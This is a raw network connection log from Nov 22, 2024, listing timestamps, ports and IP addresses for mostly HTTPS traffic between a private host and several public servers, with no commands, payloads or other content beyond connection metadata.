Nov 22, 2024 22:59:41.181304932 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:41.181327105 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.592039108 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.592134953 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.592191935 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:41.592706919 CET	49724	443	192.168.2.16	104.21.94.21
Nov 22, 2024 22:59:41.592729092 CET	443	49724	104.21.94.21	192.168.2.16
Nov 22, 2024 22:59:41.714370012 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:41.714473963 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:41.717467070 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:41.717475891 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:41.717873096 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:41.732259035 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.732633114 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:41.732641935 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.733031988 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.733912945 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:41.733973026 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.734165907 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:41.769423008 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:41.775331974 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.777704954 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:41.823328018 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:41.946381092 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.946696997 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:41.946717978 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.947350025 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.947777033 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:41.947875023 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.947911978 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:41.991341114 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:41.992273092 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.183830976 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.183887005 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.183917999 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.183964014 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.183973074 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.183986902 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.184016943 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.184046984 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.184091091 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.184098005 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.192235947 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.192419052 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.192425966 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.203507900 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.203568935 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.203574896 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.245291948 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.303236008 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.354276896 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.354300976 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.387293100 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.387346029 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.387355089 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.395415068 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.395483971 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.395492077 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.403542995 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.403623104 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.403640985 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.405191898 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.405333996 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.405469894 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.405844927 CET	49726	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.405910015 CET	443	49726	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.408993006 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:42.409044981 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:42.409282923 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:42.409532070 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:42.409548998 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:42.411650896 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.411708117 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.411719084 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.418486118 CET	49680	80	192.168.2.16	192.229.211.108
Nov 22, 2024 22:59:42.427865982 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.427932024 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.427942991 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.436052084 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.436131954 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.436141014 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.444143057 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.444206953 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.444216013 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.444412947 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.444443941 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.444453955 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.444487095 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.444494009 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.444519997 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.444535971 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.444535971 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.444875002 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.444947004 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.444955111 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.451152086 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.451203108 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.451216936 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.451227903 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.451262951 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.458275080 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.465120077 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.465176105 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.465183973 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.466284037 CET	49678	443	192.168.2.16	20.189.173.10
Nov 22, 2024 22:59:42.471708059 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.471771955 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.471780062 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.471811056 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.471858025 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.472112894 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.472163916 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.472171068 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.479127884 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.479254007 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.479259968 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.480937004 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.480947971 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.480959892 CET	49723	443	192.168.2.16	4.175.87.197
Nov 22, 2024 22:59:42.480964899 CET	443	49723	4.175.87.197	192.168.2.16
Nov 22, 2024 22:59:42.529263020 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.586236000 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.589426994 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.589490891 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.589499950 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.594217062 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.594261885 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.594271898 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.603673935 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.603744030 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.603750944 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.603786945 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.610197067 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.610205889 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.610265970 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.613431931 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.613490105 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.621433973 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.621443033 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.621494055 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.625931025 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.625993967 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.626002073 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.626051903 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.634840965 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.634903908 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.640647888 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.640716076 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.646670103 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.646768093 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.649847984 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.649909973 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.655920982 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.656048059 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.658875942 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.658942938 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.664882898 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.664947987 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.670783997 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.670872927 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.675437927 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.675493002 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.721436024 CET	49680	80	192.168.2.16	192.229.211.108
Nov 22, 2024 22:59:42.787565947 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.787630081 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.791644096 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.791708946 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.794150114 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.794203997 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.794209957 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.794281960 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.794326067 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.794364929 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.794382095 CET	443	49725	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.794394016 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.794420004 CET	49725	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.796981096 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:42.797022104 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:42.797096968 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:42.797350883 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:42.797367096 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:42.811796904 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:42.811809063 CET	443	49729	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:42.811949015 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:42.812277079 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:42.812289000 CET	443	49729	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:42.942446947 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.942488909 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:42.942749023 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.942998886 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:42.943015099 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:43.322293043 CET	49680	80	192.168.2.16	192.229.211.108
Nov 22, 2024 22:59:43.642805099 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:43.642904997 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:43.642968893 CET	49705	443	192.168.2.16	142.250.181.68
Nov 22, 2024 22:59:43.666977882 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:43.667324066 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:43.667360067 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:43.667718887 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:43.668093920 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:43.668154001 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:43.668220997 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:43.711325884 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:43.717284918 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.059051037 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.059324026 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.059345961 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.060463905 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.060949087 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.061074018 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.061134100 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.084897041 CET	443	49729	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:44.085104942 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.085118055 CET	443	49729	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:44.086575985 CET	443	49729	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:44.086653948 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.086941957 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.086982012 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.087029934 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.087044001 CET	443	49729	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:44.087120056 CET	49729	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.087476015 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.087515116 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:44.087588072 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.087805033 CET	49733	443	192.168.2.16	172.67.218.103
Nov 22, 2024 22:59:44.087820053 CET	443	49733	172.67.218.103	192.168.2.16
Nov 22, 2024 22:59:44.115295887 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.149439096 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.149503946 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.149563074 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.150357008 CET	49727	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.150376081 CET	443	49727	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.152997971 CET	49705	443	192.168.2.16	142.250.181.68
Nov 22, 2024 22:59:44.153047085 CET	443	49705	142.250.181.68	192.168.2.16
Nov 22, 2024 22:59:44.247728109 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.247970104 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.247987986 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.248444080 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.248735905 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.248817921 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.248873949 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.248924971 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.248965025 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.511229992 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.511418104 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.511526108 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.511581898 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.511610985 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.511737108 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.511790037 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.511800051 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.511876106 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.519200087 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.530270100 CET	49680	80	192.168.2.16	192.229.211.108
Nov 22, 2024 22:59:44.530836105 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.530913115 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.530921936 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.539170980 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.539269924 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.539278984 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.594286919 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.630429029 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.674289942 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.674303055 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.715931892 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.716005087 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.716021061 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.723870993 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.723959923 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.723968029 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.727054119 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.727113008 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.727121115 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.728292942 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.728359938 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.728404999 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.728447914 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.728452921 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.728472948 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.728513956 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.728523016 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.728569984 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.736692905 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.742949963 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.743012905 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.743021965 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.745002031 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.745079041 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.745088100 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.750864029 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.750924110 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.750931025 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.758835077 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.758912086 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.758919954 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.766843081 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.766915083 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.766921997 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.774075985 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.774144888 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.774152040 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.780883074 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.780951977 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.780958891 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.786322117 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.786330938 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.787812948 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.787882090 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.787888050 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.794794083 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.794869900 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.794877052 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.808722019 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.808779955 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.808789015 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.834263086 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.847693920 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.850301981 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.851814985 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.851871014 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.851881981 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.898272991 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.913295031 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.916594982 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.916672945 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.916687012 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.921647072 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.921703100 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.921710968 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.930352926 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.930417061 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.930425882 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.930488110 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.938568115 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.939768076 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.939788103 CET	443	49728	104.18.94.41	192.168.2.16
Nov 22, 2024 22:59:44.939836979 CET	49728	443	192.168.2.16	104.18.94.41
Nov 22, 2024 22:59:44.943957090 CET	443	49730	104.18.95.41	192.168.2.16
Nov 22, 2024 22:59:44.944036961 CET	49730	443	192.168.2.16	104.18.95.41
Nov 22, 2024 22:59:44.944047928 CET	443	49730	104.18.95.41	192.168.2.16
